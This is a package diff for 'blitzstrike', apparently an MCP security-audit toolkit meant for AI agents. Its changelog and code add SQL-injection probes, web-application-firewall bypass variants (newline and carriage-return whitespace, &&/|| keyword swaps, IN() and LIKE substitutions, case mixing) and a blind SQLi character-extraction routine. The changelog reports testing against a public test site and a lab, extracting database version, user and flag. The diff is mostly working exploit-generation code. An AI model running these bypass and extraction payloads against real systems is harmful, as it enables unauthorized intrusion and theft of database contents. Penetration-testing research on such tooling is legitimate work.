blitzstrike 2.4.165 → 2.4.167
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +30 -0
- package/dist/index.js +62 -21
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,36 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.167] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Fixed — blind_oracle detection false-negative + false-positive (real target)
|
|
11
|
+
|
|
12
|
+
- Added QUOTE/ERROR probes (`value'` / `value"`) to `blind_oracle`: a trailing
|
|
13
|
+
quote that turns a successful (2xx) request into a server error (5xx) is now a
|
|
14
|
+
`sql_error` signal — error-based SQLi is detected instead of being missed.
|
|
15
|
+
- Arithmetic/coercion "identity" now requires a SUCCESSFUL (2xx) baseline — an
|
|
16
|
+
error baseline (e.g. a file-include param where `value=1` already 500s) is no
|
|
17
|
+
longer misread as "evaluated arithmetically", killing a false positive on
|
|
18
|
+
non-SQL sinks.
|
|
19
|
+
- Verified no-hint on a live target (testasp.vulnweb.com): `id` (error-based
|
|
20
|
+
SQLi, previously 0 signals) now detected as `sql_error`; `item` (LFI, previously
|
|
21
|
+
5 false SQL signals) now correctly 0.
|
|
22
|
+
|
|
23
|
+
## [2.4.166] — 2026-10-11
|
|
24
|
+
|
|
25
|
+
### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
|
|
26
|
+
|
|
27
|
+
- New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
|
|
28
|
+
scripts + PayloadsAllTheThings/OWASP:
|
|
29
|
+
- Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
|
|
30
|
+
- symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
|
|
31
|
+
- equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
|
|
32
|
+
and no `AND` keyword (BETWEEN would collide with `&&`).
|
|
33
|
+
- LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
|
|
34
|
+
- Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
|
|
35
|
+
- Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
|
|
36
|
+
case-insensitively): confirm + extract version/database/user/flag all correct.
|
|
37
|
+
|
|
8
38
|
## [2.4.165] — 2026-10-11
|
|
9
39
|
|
|
10
40
|
### Added — combined WAF-bypass for stacked filters (blind SQLi)
|
package/dist/index.js
CHANGED
|
@@ -62349,6 +62349,12 @@ function sstiProbes(value) {
|
|
|
62349
62349
|
{ sink: "ssti", name: "mustache_math", payload: `${value}{{7*7}}` }
|
|
62350
62350
|
];
|
|
62351
62351
|
}
|
|
62352
|
+
function quoteProbes(value) {
|
|
62353
|
+
return [
|
|
62354
|
+
{ sink: "sql_error", name: "single_quote", payload: `${value}'` },
|
|
62355
|
+
{ sink: "sql_error", name: "double_quote", payload: `${value}"` }
|
|
62356
|
+
];
|
|
62357
|
+
}
|
|
62352
62358
|
function xssProbe(value, marker) {
|
|
62353
62359
|
return { sink: "xss", name: "marker", payload: `${value}${marker}` };
|
|
62354
62360
|
}
|
|
@@ -62363,14 +62369,20 @@ function timeProbes(dbms, value) {
|
|
|
62363
62369
|
}
|
|
62364
62370
|
function classifyBlindProbe(input) {
|
|
62365
62371
|
const same = input.bodyHash === input.baselineHash;
|
|
62372
|
+
const baselineOk = input.baselineStatus >= 200 && input.baselineStatus < 400;
|
|
62366
62373
|
let signal = false;
|
|
62367
62374
|
let reason = "";
|
|
62368
|
-
if (input.sink === "sql_arithmetic" && same) {
|
|
62375
|
+
if (input.sink === "sql_arithmetic" && same && baselineOk) {
|
|
62369
62376
|
signal = true;
|
|
62370
|
-
reason = "arithmetic identity returned the SAME result as the bare value — the parameter is evaluated arithmetically (SQL/expression context).";
|
|
62371
|
-
} else if (input.sink === "sql_coercion" && same) {
|
|
62377
|
+
reason = "arithmetic identity returned the SAME result as the bare value (both succeeded) — the parameter is evaluated arithmetically (SQL/expression context).";
|
|
62378
|
+
} else if (input.sink === "sql_coercion" && same && baselineOk) {
|
|
62372
62379
|
signal = true;
|
|
62373
62380
|
reason = "type-coerced variant returned the SAME result — the parameter is normalized numerically (SQL typed column).";
|
|
62381
|
+
} else if (input.sink === "sql_error") {
|
|
62382
|
+
if (baselineOk && input.status >= 500) {
|
|
62383
|
+
signal = true;
|
|
62384
|
+
reason = `a trailing quote triggered a server error (HTTP ${input.status}) while the bare value succeeded (HTTP ${input.baselineStatus}) — the parameter is interpolated into a SQL string (error-based SQLi).`;
|
|
62385
|
+
}
|
|
62374
62386
|
} else if (input.sink === "ssti" && !same && /49/.test(input.body)) {
|
|
62375
62387
|
signal = true;
|
|
62376
62388
|
reason = "the SSTI arithmetic (7*7) rendered as 49 in the response — the parameter reaches a template engine (SSTI).";
|
|
@@ -62401,8 +62413,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62401
62413
|
return { error: "baseline fetch failed", base_url: base, param, detail: String(e) };
|
|
62402
62414
|
}
|
|
62403
62415
|
const probes = [];
|
|
62404
|
-
if (sinks.includes("sql"))
|
|
62416
|
+
if (sinks.includes("sql")) {
|
|
62405
62417
|
probes.push(...arithmeticProbes(value));
|
|
62418
|
+
probes.push(...quoteProbes(value));
|
|
62419
|
+
}
|
|
62406
62420
|
if (sinks.includes("ssti"))
|
|
62407
62421
|
probes.push(...sstiProbes(value));
|
|
62408
62422
|
if (sinks.includes("xss"))
|
|
@@ -62421,8 +62435,10 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62421
62435
|
const cls = classifyBlindProbe({
|
|
62422
62436
|
baselineHash,
|
|
62423
62437
|
baselineSize,
|
|
62438
|
+
baselineStatus,
|
|
62424
62439
|
bodyHash,
|
|
62425
62440
|
size: body.length,
|
|
62441
|
+
status,
|
|
62426
62442
|
sink: p.sink,
|
|
62427
62443
|
name: p.name,
|
|
62428
62444
|
body,
|
|
@@ -62472,13 +62488,17 @@ function oracleBypassVariants(base) {
|
|
|
62472
62488
|
const dash = body;
|
|
62473
62489
|
const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62474
62490
|
const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
|
|
62491
|
+
const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
|
|
62475
62492
|
const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
|
|
62493
|
+
const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62476
62494
|
const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
|
|
62477
62495
|
const out = [];
|
|
62478
|
-
for (const cmt of [dash, hash, bal]) {
|
|
62479
|
-
for (const x of [" ", "/**/", "\t"
|
|
62496
|
+
for (const cmt of [dash, hash, bal, likeBool]) {
|
|
62497
|
+
for (const x of [" ", "/**/", "\t", `
|
|
62498
|
+
`, "\r"]) {
|
|
62480
62499
|
out.push(`'${sp(cmt, x)}`);
|
|
62481
62500
|
out.push(`'${sp(cs(cmt), x)}`);
|
|
62501
|
+
out.push(`'${sp(sym(cmt), x)}`);
|
|
62482
62502
|
}
|
|
62483
62503
|
}
|
|
62484
62504
|
out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
|
|
@@ -62494,26 +62514,45 @@ function extractBypassVariants(tpl) {
|
|
|
62494
62514
|
const dash = base;
|
|
62495
62515
|
const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62496
62516
|
const bal = base.replace(/'(-- -|--)$/, "");
|
|
62517
|
+
const like = base.replace(/='\{char\}'/, "IN ('{char}')");
|
|
62518
|
+
const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62497
62519
|
const combos = [
|
|
62498
|
-
[dash, " ",
|
|
62499
|
-
[hash, " ",
|
|
62500
|
-
[dash, "/**/",
|
|
62501
|
-
[dash, " ",
|
|
62502
|
-
[bal, " ",
|
|
62503
|
-
[hash, "/**/",
|
|
62504
|
-
[hash, "/**/",
|
|
62505
|
-
[hash, "\t",
|
|
62506
|
-
[bal, "\t",
|
|
62507
|
-
[bal, "/**/",
|
|
62520
|
+
[dash, " ", "none"],
|
|
62521
|
+
[hash, " ", "none"],
|
|
62522
|
+
[dash, "/**/", "none"],
|
|
62523
|
+
[dash, " ", "case"],
|
|
62524
|
+
[bal, " ", "none"],
|
|
62525
|
+
[hash, "/**/", "none"],
|
|
62526
|
+
[hash, "/**/", "case"],
|
|
62527
|
+
[hash, "\t", "case"],
|
|
62528
|
+
[bal, "\t", "case"],
|
|
62529
|
+
[bal, "/**/", "case"],
|
|
62530
|
+
[dash, `
|
|
62531
|
+
`, "none"],
|
|
62532
|
+
[hash, `
|
|
62533
|
+
`, "case"],
|
|
62534
|
+
[bal, `
|
|
62535
|
+
`, "case"],
|
|
62536
|
+
[dash, " ", "sym"],
|
|
62537
|
+
[like, " ", "none"],
|
|
62538
|
+
[like, "/**/", "none"],
|
|
62539
|
+
[likeHash, `
|
|
62540
|
+
`, "sym"],
|
|
62541
|
+
[likeHash, "\t", "sym"],
|
|
62542
|
+
[like, `
|
|
62543
|
+
`, "sym"],
|
|
62544
|
+
[likeHash, " ", "sym"]
|
|
62508
62545
|
];
|
|
62509
|
-
for (const [cmt, s,
|
|
62546
|
+
for (const [cmt, s, mode] of combos) {
|
|
62510
62547
|
let b = cmt;
|
|
62511
|
-
if (
|
|
62548
|
+
if (mode === "case")
|
|
62512
62549
|
b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
|
|
62550
|
+
else if (mode === "sym")
|
|
62551
|
+
b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62513
62552
|
if (s === "/**/")
|
|
62514
62553
|
b = b.replace(/ /g, "/**/");
|
|
62515
|
-
else if (s
|
|
62516
|
-
b = b.replace(/ /g,
|
|
62554
|
+
else if (s !== " ")
|
|
62555
|
+
b = b.replace(/ /g, s);
|
|
62517
62556
|
out.push(b);
|
|
62518
62557
|
}
|
|
62519
62558
|
}
|
|
@@ -62695,7 +62734,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62695
62734
|
const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
62696
62735
|
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62697
62736
|
const render = (tpl, pos, ch) => {
|
|
62698
|
-
const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(
|
|
62737
|
+
const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
|
|
62738
|
+
`) ? `
|
|
62739
|
+
` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
|
|
62699
62740
|
const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
|
|
62700
62741
|
return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62701
62742
|
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.167",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|